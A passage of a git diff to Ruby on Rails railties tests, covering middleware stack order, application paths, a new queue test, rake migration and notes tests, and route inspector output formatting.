- test "unspecified route when set action_dispatch.show_exceptions to true" do
- make_basic_app do |app|
- app.config.action_dispatch.show_exceptions = true
- end
-
- assert_nothing_raised(ActionController::RoutingError) do
- get '/foo'
- end
- end
- end
-end
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index 093cb6ca2a..ba747bc633 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -1,8 +1,9 @@
require 'isolation/abstract_unit'
require 'stringio'
+require 'rack/test'
module ApplicationTests
- class MiddlewareTest < Test::Unit::TestCase
+ class MiddlewareTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -25,15 +26,17 @@ module ApplicationTests
boot!
assert_equal [
+ "Rack::Sendfile",
"ActionDispatch::Static",
"Rack::Lock",
"ActiveSupport::Cache::Strategy::LocalCache",
"Rack::Runtime",
"Rack::MethodOverride",
+ "ActionDispatch::RequestId",
"Rails::Rack::Logger", # must come after Rack::MethodOverride to properly log overridden methods
"ActionDispatch::ShowExceptions",
+ "ActionDispatch::DebugExceptions",
"ActionDispatch::RemoteIp",
- "Rack::Sendfile",
"ActionDispatch::Reloader",
"ActionDispatch::Callbacks",
"ActiveRecord::ConnectionAdapters::ConnectionManagement",
@@ -63,17 +66,17 @@ module ApplicationTests
assert_equal "Rack::Cache", middleware.first
end
- test "Rack::SSL is present when force_ssl is set" do
+ test "ActionDispatch::SSL is present when force_ssl is set" do
add_to_config "config.force_ssl = true"
boot!
- assert middleware.include?("Rack::SSL")
+ assert middleware.include?("ActionDispatch::SSL")
end
- test "Rack::SSL is configured with options when given" do
+ test "ActionDispatch::SSL is configured with options when given" do
add_to_config "config.force_ssl = true"
add_to_config "config.ssl_options = { :host => 'example.com' }"
boot!
-
+
assert_equal AppTemplate::Application.middleware.first.args, [{:host => 'example.com'}]
end
@@ -82,7 +85,6 @@ module ApplicationTests
boot!
assert !middleware.include?("ActiveRecord::ConnectionAdapters::ConnectionManagement")
assert !middleware.include?("ActiveRecord::QueryCache")
- assert !middleware.include?("ActiveRecord::IdentityMap::Middleware")
end
test "removes lock if allow concurrency is set" do
@@ -103,10 +105,11 @@ module ApplicationTests
assert !middleware.include?("ActionDispatch::Static")
end
- test "includes show exceptions even action_dispatch.show_exceptions is disabled" do
+ test "includes exceptions middlewares even if action_dispatch.show_exceptions is disabled" do
add_to_config "config.action_dispatch.show_exceptions = false"
boot!
assert middleware.include?("ActionDispatch::ShowExceptions")
+ assert middleware.include?("ActionDispatch::DebugExceptions")
end
test "removes ActionDispatch::Reloader if cache_classes is true" do
@@ -128,29 +131,30 @@ module ApplicationTests
assert_equal "Rack::Config", middleware.second
end
- test "RAILS_CACHE does not respond to middleware" do
+ test "Rails.cache does not respond to middleware" do
add_to_config "config.cache_store = :memory_store"
boot!
assert_equal "Rack::Runtime", middleware.third
end
- test "RAILS_CACHE does respond to middleware" do
+ test "Rails.cache does respond to middleware" do
boot!
assert_equal "Rack::Runtime", middleware.fourth
end
- test "identity map is inserted" do
- add_to_config "config.active_record.identity_map = true"
- boot!
- assert middleware.include?("ActiveRecord::IdentityMap::Middleware")
- end
-
test "insert middleware before" do
add_to_config "config.middleware.insert_before ActionDispatch::Static, Rack::Config"
boot!
assert_equal "Rack::Config", middleware.first
end
+ test "can't change middleware after it's built" do
+ boot!
+ assert_raise RuntimeError do
+ app.config.middleware.use Rack::Config
+ end
+ end
+
# ConditionalGet + Etag
test "conditional get + etag middlewares handle http caching based on body" do
make_basic_app
@@ -182,7 +186,6 @@ module ApplicationTests
assert_equal etag, last_response.headers["Etag"]
get "/?nothing=true"
- puts last_response.body
assert_equal 200, last_response.status
assert_equal "", last_response.body
assert_equal "text/html; charset=utf-8", last_response.headers["Content-Type"]
@@ -190,24 +193,12 @@ module ApplicationTests
assert_equal nil, last_response.headers["Etag"]
end
- # Show exceptions middleware
- test "show exceptions middleware filter backtrace before logging" do
- my_middleware = Struct.new(:app) do
- def call(env)
- raise "Failure"
- end
- end
-
- make_basic_app do |app|
- app.config.middleware.use my_middleware
- end
-
- stringio = StringIO.new
- Rails.logger = Logger.new(stringio)
-
- env = Rack::MockRequest.env_for("/")
+ test "ORIGINAL_FULLPATH is passed to env" do
+ boot!
+ env = ::Rack::MockRequest.env_for("/foo/?something")
Rails.application.call(env)
- assert_no_match(/action_dispatch/, stringio.string)
+
+ assert_equal "/foo/?something", env["ORIGINAL_FULLPATH"]
end
private
diff --git a/railties/test/application/paths_test.rb b/railties/test/application/paths_test.rb
index 964cff48cd..e0893f53be 100644
--- a/railties/test/application/paths_test.rb
+++ b/railties/test/application/paths_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class PathsTest < Test::Unit::TestCase
+ class PathsTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -15,7 +15,6 @@ module ApplicationTests
app.config.session_store nil
end
RUBY
- use_frameworks [:action_controller, :action_view, :action_mailer, :active_record]
require "#{app_path}/config/environment"
@paths = Rails.application.config.paths
end
@@ -46,12 +45,13 @@ module ApplicationTests
assert_path @paths["app/views"], "app/views"
assert_path @paths["lib"], "lib"
assert_path @paths["vendor"], "vendor"
- assert_path @paths["vendor/plugins"], "vendor/plugins"
assert_path @paths["tmp"], "tmp"
assert_path @paths["config"], "config"
assert_path @paths["config/locales"], "config/locales/en.yml"
assert_path @paths["config/environment"], "config/environment.rb"
assert_path @paths["config/environments"], "config/environments/development.rb"
+ assert_path @paths["config/routes.rb"], "config/routes.rb"
+ assert_path @paths["config/routes"], "config/routes"
assert_equal root("app", "controllers"), @paths["app/controllers"].expanded.first
end
diff --git a/railties/test/application/queue_test.rb b/railties/test/application/queue_test.rb
new file mode 100644
index 0000000000..da8bdeed52
--- /dev/null
+++ b/railties/test/application/queue_test.rb
@@ -0,0 +1,145 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+ class GeneratorsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def app_const
+ @app_const ||= Class.new(Rails::Application)
+ end
+
+ test "the queue is a TestQueue in test mode" do
+ app("test")
+ assert_kind_of Rails::Queueing::TestQueue, Rails.application.queue
+ assert_kind_of Rails::Queueing::TestQueue, Rails.queue
+ end
+
+ test "the queue is a Queue in development mode" do
+ app("development")
+ assert_kind_of Rails::Queueing::Queue, Rails.application.queue
+ assert_kind_of Rails::Queueing::Queue, Rails.queue
+ end
+
+ test "in development mode, an enqueued job will be processed in a separate thread" do
+ app("development")
+
+ job = Struct.new(:origin, :target).new(Thread.current)
+ def job.run
+ self.target = Thread.current
+ end
+
+ Rails.queue.push job
+ sleep 0.1
+
+ assert job.target, "The job was run"
+ assert_not_equal job.origin, job.target
+ end
+
+ test "in test mode, explicitly draining the queue will process it in a separate thread" do
+ app("test")
+
+ job = Struct.new(:origin, :target).new(Thread.current)
+ def job.run
+ self.target = Thread.current
+ end
+
+ Rails.queue.push job
+ Rails.queue.drain
+
+ assert job.target, "The job was run"
+ assert_not_equal job.origin, job.target
+ end
+
+ test "in test mode, the queue can be observed" do
+ app("test")
+
+ job = Struct.new(:id) do
+ def run
+ end
+ end
+
+ jobs = (1..10).map do |id|
+ job.new(id)
+ end
+
+ jobs.each do |job|
+ Rails.queue.push job
+ end
+
+ assert_equal jobs, Rails.queue.jobs
+ end
+
+ def setup_custom_queue
+ add_to_env_config "production", <<-RUBY
+ require "my_queue"
+ config.queue = MyQueue
+ RUBY
+
+ app_file "lib/my_queue.rb", <<-RUBY
+ class MyQueue
+ def push(job)
+ job.run
+ end
+ end
+ RUBY
+
+ app("production")
+ end
+
+ test "a custom queue implementation can be provided" do
+ setup_custom_queue
+
+ assert_kind_of MyQueue, Rails.queue
+
+ job = Struct.new(:id, :ran) do
+ def run
+ self.ran = true
+ end
+ end
+
+ job1 = job.new(1)
+ Rails.queue.push job1
+
+ assert_equal true, job1.ran
+ end
+
+ test "a custom consumer implementation can be provided" do
+ add_to_env_config "production", <<-RUBY
+ require "my_queue_consumer"
+ config.queue_consumer = MyQueueConsumer
+ RUBY
+
+ app_file "lib/my_queue_consumer.rb", <<-RUBY
+ class MyQueueConsumer < Rails::Queueing::ThreadedConsumer
+ attr_reader :started
+
+ def start
+ @started = true
+ self
+ end
+ end
+ RUBY
+
+ app("production")
+
+ assert_kind_of MyQueueConsumer, Rails.application.queue_consumer
+ assert Rails.application.queue_consumer.started
+ end
+
+ test "default consumer is not used with custom queue implementation" do
+ setup_custom_queue
+
+ assert_nil Rails.application.queue_consumer
+ end
+ end
+end
diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb
index 8b2b2f1802..a77c6f472c 100644
--- a/railties/test/application/rack/logger_test.rb
+++ b/railties/test/application/rack/logger_test.rb
@@ -4,7 +4,7 @@ require "rack/test"
module ApplicationTests
module RackTests
- class LoggerTest < Test::Unit::TestCase
+ class LoggerTest < ActiveSupport::TestCase
include ActiveSupport::LogSubscriber::TestHelper
include Rack::Test::Methods
@@ -12,6 +12,8 @@ module ApplicationTests
build_app
require "#{app_path}/config/environment"
super
+ @logger = MockLogger.new
+ Rails.stubs(:logger).returns(@logger)
end
def teardown
diff --git a/railties/test/application/rackup_test.rb b/railties/test/application/rackup_test.rb
index ff9cdcadc7..49ac9fc66c 100644
--- a/railties/test/application/rackup_test.rb
+++ b/railties/test/application/rackup_test.rb
@@ -1,12 +1,12 @@
require "isolation/abstract_unit"
module ApplicationTests
- class RackupTest < Test::Unit::TestCase
+ class RackupTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def rackup
require "rack"
- app, options = Rack::Builder.parse_file("#{app_path}/config.ru")
+ app, _ = Rack::Builder.parse_file("#{app_path}/config.ru")
app
end
diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb
new file mode 100644
index 0000000000..0a47fd014c
--- /dev/null
+++ b/railties/test/application/rake/migrations_test.rb
@@ -0,0 +1,158 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ module RakeTests
+ class RakeMigrationsTest < ActiveSupport::TestCase
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test 'running migrations with given scope' do
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string`
+
+ app_file "db/migrate/01_a_migration.bukkits.rb", <<-MIGRATION
+ class AMigration < ActiveRecord::Migration
+ end
+ MIGRATION
+
+ output = `rake db:migrate SCOPE=bukkits`
+ assert_no_match(/create_table\(:users\)/, output)
+ assert_no_match(/CreateUsers/, output)
+ assert_no_match(/add_column\(:users, :email, :string\)/, output)
+
+ assert_match(/AMigration: migrated/, output)
+
+ output = `rake db:migrate SCOPE=bukkits VERSION=0`
+ assert_no_match(/drop_table\(:users\)/, output)
+ assert_no_match(/CreateUsers/, output)
+ assert_no_match(/remove_column\(:users, :email\)/, output)
+
+ assert_match(/AMigration: reverted/, output)
+ end
+ end
+
+ test 'model and migration generator with change syntax' do
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string`
+
+ output = `rake db:migrate`
+ assert_match(/create_table\(:users\)/, output)
+ assert_match(/CreateUsers: migrated/, output)
+ assert_match(/add_column\(:users, :email, :string\)/, output)
+ assert_match(/AddEmailToUsers: migrated/, output)
+
+ output = `rake db:rollback STEP=2`
+ assert_match(/drop_table\("users"\)/, output)
+ assert_match(/CreateUsers: reverted/, output)
+ assert_match(/remove_column\("users", :email\)/, output)
+ assert_match(/AddEmailToUsers: reverted/, output)
+ end
+ end
+
+ test 'migration status when schema migrations table is not present' do
+ output = Dir.chdir(app_path){ `rake db:migrate:status` }
+ assert_equal "Schema migrations table does not exist yet.\n", output
+ end
+
+ test 'test migration status' do
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string;
+ rake db:migrate`
+
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+ `rake db:rollback STEP=1`
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/down\s+\d{14}\s+Add email to users/, output)
+ end
+ end
+
+ test 'migration status without timestamps' do
+ add_to_config('config.active_record.timestamped_migrations = false')
+
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string;
+ rake db:migrate`
+
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{3,}\s+Create users/, output)
+ assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+
+ `rake db:rollback STEP=1`
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{3,}\s+Create users/, output)
+ assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+ end
+ end
+
+ test 'test migration status after rollback and redo' do
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string;
+ rake db:migrate`
+
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+Add email to users/, output)
+
+ `rake db:rollback STEP=2`
+ output = `rake db:migrate:status`
+
+ assert_match(/down\s+\d{14}\s+Create users/, output)
+ assert_match(/down\s+\d{14}\s+Add email to users/, output)
+
+ `rake db:migrate:redo`
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{14}\s+Create users/, output)
+ assert_match(/up\s+\d{14}\s+Add email to users/, output)
+ end
+ end
+
+ test 'migration status after rollback and redo without timestamps' do
+ add_to_config('config.active_record.timestamped_migrations = false')
+
+ Dir.chdir(app_path) do
+ `rails generate model user username:string password:string;
+ rails generate migration add_email_to_users email:string;
+ rake db:migrate`
+
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{3,}\s+Create users/, output)
+ assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+
+ `rake db:rollback STEP=2`
+ output = `rake db:migrate:status`
+
+ assert_match(/down\s+\d{3,}\s+Create users/, output)
+ assert_match(/down\s+\d{3,}\s+Add email to users/, output)
+
+ `rake db:migrate:redo`
+ output = `rake db:migrate:status`
+
+ assert_match(/up\s+\d{3,}\s+Create users/, output)
+ assert_match(/up\s+\d{3,}\s+Add email to users/, output)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb
new file mode 100644
index 0000000000..05d73dfc5c
--- /dev/null
+++ b/railties/test/application/rake/notes_test.rb
@@ -0,0 +1,134 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ module RakeTests
+ class RakeNotesTest < ActiveSupport::TestCase
+ def setup
+ build_app
+ require "rails/all"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test 'notes finds notes for certain file_types' do
+ app_file "app/views/home/index.html.erb", "<% # TODO: note in erb %>"
+ app_file "app/views/home/index.html.haml", "-# TODO: note in haml"
+ app_file "app/views/home/index.html.slim", "/ TODO: note in slim"
+ app_file "app/assets/javascripts/application.js.coffee", "# TODO: note in coffee"
+ app_file "app/assets/javascripts/application.js", "// TODO: note in js"
+ app_file "app/assets/stylesheets/application.css", "// TODO: note in css"
+ app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
+ app_file "app/controllers/application_controller.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in ruby"
+
+ boot_rails
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+
+ Rails.application.load_tasks
+
+ Dir.chdir(app_path) do
+ output = `bundle exec rake notes`
+ lines = output.scan(/\[([0-9\s]+)\](\s)/)
+
+ assert_match /note in erb/, output
+ assert_match /note in haml/, output
+ assert_match /note in slim/, output
+ assert_match /note in ruby/, output
+ assert_match /note in coffee/, output
+ assert_match /note in js/, output
+ assert_match /note in css/, output
+ assert_match /note in scss/, output
+
+ assert_equal 8, lines.size
+
+ lines.each do |line|
+ assert_equal 4, line[0].size
+ assert_equal ' ', line[1]
+ end
+ end
+ end
+
+ test 'notes finds notes in default directories' do
+ app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+ app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+ app_file "lib/some_file.rb", "# TODO: note in lib directory"
+ app_file "script/run_something.rb", "# TODO: note in script directory"
+ app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+ app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
+
+ boot_rails
+
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+
+ Rails.application.load_tasks
+
+ Dir.chdir(app_path) do
+ output = `bundle exec rake notes`
+ lines = output.scan(/\[([0-9\s]+)\]/).flatten
+
+ assert_match /note in app directory/, output
+ assert_match /note in config directory/, output
+ assert_match /note in lib directory/, output
+ assert_match /note in script directory/, output
+ assert_match /note in test directory/, output
+ assert_no_match /note in some_other directory/, output
+
+ assert_equal 5, lines.size
+
+ lines.each do |line_number|
+ assert_equal 4, line_number.size
+ end
+ end
+ end
+
+ test 'notes finds notes in custom directories' do
+ app_file "app/controllers/some_controller.rb", "# TODO: note in app directory"
+ app_file "config/initializers/some_initializer.rb", "# TODO: note in config directory"
+ app_file "lib/some_file.rb", "# TODO: note in lib directory"
+ app_file "script/run_something.rb", "# TODO: note in script directory"
+ app_file "test/some_test.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in test directory"
+
+ app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
+
+ boot_rails
+
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+
+ Rails.application.load_tasks
+
+ Dir.chdir(app_path) do
+ output = `SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes`
+ lines = output.scan(/\[([0-9\s]+)\]/).flatten
+
+ assert_match /note in app directory/, output
+ assert_match /note in config directory/, output
+ assert_match /note in lib directory/, output
+ assert_match /note in script directory/, output
+ assert_match /note in test directory/, output
+
+ assert_match /note in some_other directory/, output
+
+ assert_equal 6, lines.size
+
+ lines.each do |line_number|
+ assert_equal 4, line_number.size
+ end
+ end
+ end
+
+ private
+ def boot_rails
+ super
+ require "#{app_path}/config/environment"
+ end
+ end
+ end
+end
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index c76bc3d526..27d521485c 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -2,7 +2,7 @@
require "isolation/abstract_unit"
module ApplicationTests
- class RakeTest < Test::Unit::TestCase
+ class RakeTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -63,26 +63,23 @@ module ApplicationTests
def test_rake_test_error_output
Dir.chdir(app_path){ `rake db:migrate` }
- app_file "config/database.yml", <<-RUBY
- development:
- RUBY
-
app_file "test/unit/one_unit_test.rb", <<-RUBY
+ raise 'unit'
RUBY
app_file "test/functional/one_functional_test.rb", <<-RUBY
- raise RuntimeError
+ raise 'functional'
RUBY
app_file "test/integration/one_integration_test.rb", <<-RUBY
- raise RuntimeError
+ raise 'integration'
RUBY
silence_stderr do
- output = Dir.chdir(app_path){ `rake test` }
- assert_match(/Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output)
- assert_match(/Errors running test:functionals! #<RuntimeError/, output)
- assert_match(/Errors running test:integration! #<RuntimeError/, output)
+ output = Dir.chdir(app_path) { `rake test 2>&1` }
+ assert_match 'unit', output
+ assert_match 'functional', output
+ assert_match 'integration', output
end
end
@@ -108,98 +105,67 @@ module ApplicationTests
assert_match "Sample log message", output
end
- def test_model_and_migration_generator_with_change_syntax
+ def test_loading_specific_fixtures
Dir.chdir(app_path) do
- `rails generate model user username:string password:string`
- `rails generate migration add_email_to_users email:string`
+ `rails generate model user username:string password:string;
+ rails generate model product name:string;
+ rake db:migrate`
end
- output = Dir.chdir(app_path){ `rake db:migrate` }
- assert_match(/create_table\(:users\)/, output)
- assert_match(/CreateUsers: migrated/, output)
- assert_match(/add_column\(:users, :email, :string\)/, output)
- assert_match(/AddEmailToUsers: migrated/, output)
-
- output = Dir.chdir(app_path){ `rake db:rollback STEP=2` }
- assert_match(/drop_table\("users"\)/, output)
- assert_match(/CreateUsers: reverted/, output)
- assert_match(/remove_column\("users", :email\)/, output)
- assert_match(/AddEmailToUsers: reverted/, output)
- end
+ require "#{rails_root}/config/environment"
+
+ # loading a specific fixture
+ errormsg = Dir.chdir(app_path) { `rake db:fixtures:load FIXTURES=products` }
+ assert $?.success?, errormsg
- def test_migration_status_when_schema_migrations_table_is_not_present
- output = Dir.chdir(app_path){ `rake db:migrate:status` }
- assert_equal "Schema migrations table does not exist yet.\n", output
+ assert_equal 2, ::AppTemplate::Application::Product.count
+ assert_equal 0, ::AppTemplate::Application::User.count
end
- def test_migration_status
- Dir.chdir(app_path) do
- `rails generate model user username:string password:string`
- `rails generate migration add_email_to_users email:string`
+ def test_scaffold_tests_pass_by_default
+ output = Dir.chdir(app_path) do
+ `rails generate scaffold user username:string password:string;
+ bundle exec rake db:migrate db:test:clone test`
end
- Dir.chdir(app_path) { `rake db:migrate`}
- output = Dir.chdir(app_path) { `rake db:migrate:status` }
-
- assert_match(/up\s+\d{14}\s+Create users/, output)
- assert_match(/up\s+\d{14}\s+Add email to users/, output)
-
- Dir.chdir(app_path) { `rake db:rollback STEP=1` }
- output = Dir.chdir(app_path) { `rake db:migrate:status` }
-
- assert_match(/up\s+\d{14}\s+Create users/, output)
- assert_match(/down\s+\d{14}\s+Add email to users/, output)
+ assert_match(/7 tests, 13 assertions, 0 failures, 0 errors/, output)
+ assert_no_match(/Errors running/, output)
end
- def test_migration_status_after_rollback_and_redo
+ def test_rake_dump_structure_should_respect_db_structure_env_variable
Dir.chdir(app_path) do
- `rails generate model user username:string password:string`
- `rails generate migration add_email_to_users email:string`
+ # ensure we have a schema_migrations table to dump
+ `bundle exec rake db:migrate db:structure:dump DB_STRUCTURE=db/my_structure.sql`
end
+ assert File.exists?(File.join(app_path, 'db', 'my_structure.sql'))
+ end
- Dir.chdir(app_path) { `rake db:migrate`}
- output = Dir.chdir(app_path) { `rake db:migrate:status` }
-
- assert_match(/up\s+\d{14}\s+Create users/, output)
- assert_match(/up\s+\d{14}\s+Add email to users/, output)
-
- Dir.chdir(app_path) { `rake db:rollback STEP=2` }
- output = Dir.chdir(app_path) { `rake db:migrate:status` }
-
- assert_match(/down\s+\d{14}\s+Create users/, output)
- assert_match(/down\s+\d{14}\s+Add email to users/, output)
+ def test_rake_dump_structure_should_be_called_twice_when_migrate_redo
+ add_to_config "config.active_record.schema_format = :sql"
- Dir.chdir(app_path) { `rake db:migrate:redo` }
- output = Dir.chdir(app_path) { `rake db:migrate:status` }
+ output = Dir.chdir(app_path) do
+ `rails g model post title:string;
+ bundle exec rake db:migrate:redo 2>&1 --trace;`
+ end
- assert_match(/up\s+\d{14}\s+Create users/, output)
- assert_match(/up\s+\d{14}\s+Add email to users/, output)
+ # expect only Invoke db:structure:dump (first_time)
+ assert_no_match(/^\*\* Invoke db:structure:dump\s+$/, output)
end
- def test_loading_specific_fixtures
+ def test_rake_dump_schema_cache
Dir.chdir(app_path) do
- `rails generate model user username:string password:string`
- `rails generate model product name:string`
- `rake db:migrate`
+ `rails generate model post title:string;
+ rails generate model product name:string;
+ bundle exec rake db:migrate db:schema:cache:dump`
end
-
- require "#{rails_root}/config/environment"
-
- # loading a specific fixture
- errormsg = Dir.chdir(app_path) { `rake db:fixtures:load FIXTURES=products` }
- assert $?.success?, errormsg
-
- assert_equal 2, ::AppTemplate::Application::Product.count
- assert_equal 0, ::AppTemplate::Application::User.count
+ assert File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
end
- def test_scaffold_tests_pass_by_default
- content = Dir.chdir(app_path) do
- `rails generate scaffold user username:string password:string`
- `bundle exec rake db:migrate db:test:clone test`
+ def test_rake_clear_schema_cache
+ Dir.chdir(app_path) do
+ `bundle exec rake db:schema:cache:dump db:schema:cache:clear`
end
-
- assert_match(/7 tests, 10 assertions, 0 failures, 0 errors/, content)
+ assert !File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
end
end
end
diff --git a/railties/test/application/route_inspect_test.rb b/railties/test/application/route_inspect_test.rb
index add8256b5d..3b8c874b5b 100644
--- a/railties/test/application/route_inspect_test.rb
+++ b/railties/test/application/route_inspect_test.rb
@@ -1,84 +1,120 @@
-require 'test/unit'
+require 'minitest/autorun'
require 'rails/application/route_inspector'
require 'action_controller'
+require 'rails/engine'
module ApplicationTests
- class RouteInspectTest < Test::Unit::TestCase
+ class RouteInspectTest < ActiveSupport::TestCase
def setup
@set = ActionDispatch::Routing::RouteSet.new
@inspector = Rails::Application::RouteInspector.new
+ app = ActiveSupport::OrderedOptions.new
+ app.config = ActiveSupport::OrderedOptions.new
+ app.config.assets = ActiveSupport::OrderedOptions.new
+ app.config.assets.prefix = '/sprockets'
+ Rails.stubs(:application).returns(app)
+ Rails.stubs(:env).returns("development")
+ end
+
+ def draw(&block)
+ @set.draw(&block)
+ @inspector.format(@set.routes)
+ end
+
+ def test_displaying_routes_for_engines
+ engine = Class.new(Rails::Engine) do
+ def self.to_s
+ "Blog::Engine"
+ end
+ end
+ engine.routes.draw do
+ get '/cart', :to => 'cart#show'
+ end
+
+ output = draw do
+ get '/custom/assets', :to => 'custom_assets#show'
+ mount engine => "/blog", :as => "blog"
+ end
+
+ expected = [
+ "custom_assets GET /custom/assets(.:format) custom_assets#show",
+ " blog /blog Blog::Engine",
+ "\nRoutes for Blog::Engine:",
+ "cart GET /cart(.:format) cart#show"
+ ]
+ assert_equal expected, output
end
def test_cart_inspect
- @set.draw do
+ output = draw do
get '/cart', :to => 'cart#show'
end
- output = @inspector.format @set.routes
assert_equal ["cart GET /cart(.:format) cart#show"], output
end
def test_inspect_shows_custom_assets
- @set.draw do
+ output = draw do
get '/custom/assets', :to => 'custom_assets#show'
end
- output = @inspector.format @set.routes
assert_equal ["custom_assets GET /custom/assets(.:format) custom_assets#show"], output
end
def test_inspect_routes_shows_resources_route
- @set.draw do
+ output = draw do
resources :articles
end
- output = @inspector.format @set.routes
expected = [
" articles GET /articles(.:format) articles#index",
" POST /articles(.:format) articles#create",
" new_article GET /articles/new(.:format) articles#new",
"edit_article GET /articles/:id/edit(.:format) articles#edit",
" article GET /articles/:id(.:format) articles#show",
+ " PATCH /articles/:id(.:format) articles#update",
" PUT /articles/:id(.:format) articles#update",
" DELETE /articles/:id(.:format) articles#destroy" ]
assert_equal expected, output
end
def test_inspect_routes_shows_root_route
- @set.draw do
+ output = draw do
root :to => 'pages#main'
end
- output = @inspector.format @set.routes
- assert_equal ["root / pages#main"], output
+ assert_equal ["root GET / pages#main"], output
+ end
+
+ def test_inspect_routes_shows_dynamic_action_route
+ output = draw do
+ get 'api/:action' => 'api'
+ end
+ assert_equal [" GET /api/:action(.:format) api#:action"], output
end
def test_inspect_routes_shows_controller_and_action_only_route
- @set.draw do
- match ':controller/:action'
+ output = draw do
+ get ':controller/:action'
end
- output = @inspector.format @set.routes
- assert_equal [" /:controller/:action(.:format) "], output
+ assert_equal [" GET /:controller/:action(.:format) :controller#:action"], output
end
def test_inspect_routes_shows_controller_and_action_route_with_constraints
- @set.draw do
- match ':controller(/:action(/:id))', :id => /\d+/
+ output = draw do
+ get ':controller(/:action(/:id))', :id => /\d+/
end
- output = @inspector.format @set.routes
- assert_equal [" /:controller(/:action(/:id))(.:format) {:id=>/\\d+/}"], output
+ assert_equal [" GET /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"], output
end
def test_rake_routes_shows_route_with_defaults
- @set.draw do
- match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'}
+ output = draw do
+ get 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'}
end
- output = @inspector.format @set.routes
- assert_equal [%Q[ /photos/:id(.:format) photos#show {:format=>"jpg"}]], output
+ assert_equal [%Q[ GET /photos/:id(.:format) photos#show {:format=>"jpg"}]], output
end
def test_rake_routes_shows_route_with_constraints
- @set.draw do
- match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
+ output = draw do
+ get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
end
- output = @inspector.format @set.routes
- assert_equal [" /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output
+ assert_equal [" GET /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output
end
class RackApp
@@ -87,11 +123,46 @@ module ApplicationTests
end
def test_rake_routes_shows_route_with_rack_app
- @set.draw do
- match 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/
+ output = draw do
+ get 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/
+ end
+ assert_equal [" GET /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output
+ end
+
+ def test_rake_routes_shows_route_with_rack_app_nested_with_dynamic_constraints
+ constraint = Class.new do
+ def to_s
+ "( my custom constraint )"
+ end
+ end
+
+ output = draw do
+ scope :constraint => constraint.new do
+ mount RackApp => '/foo'
+ end
+ end
+
+ assert_equal [" /foo #{RackApp.name} {:constraint=>( my custom constraint )}"], output
+ end
+
+ def test_rake_routes_dont_show_app_mounted_in_assets_prefix
+ output = draw do
+ get '/sprockets' => RackApp
end
- output = @inspector.format @set.routes
- assert_equal [" /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output
+ assert_no_match(/RackApp/, output.first)
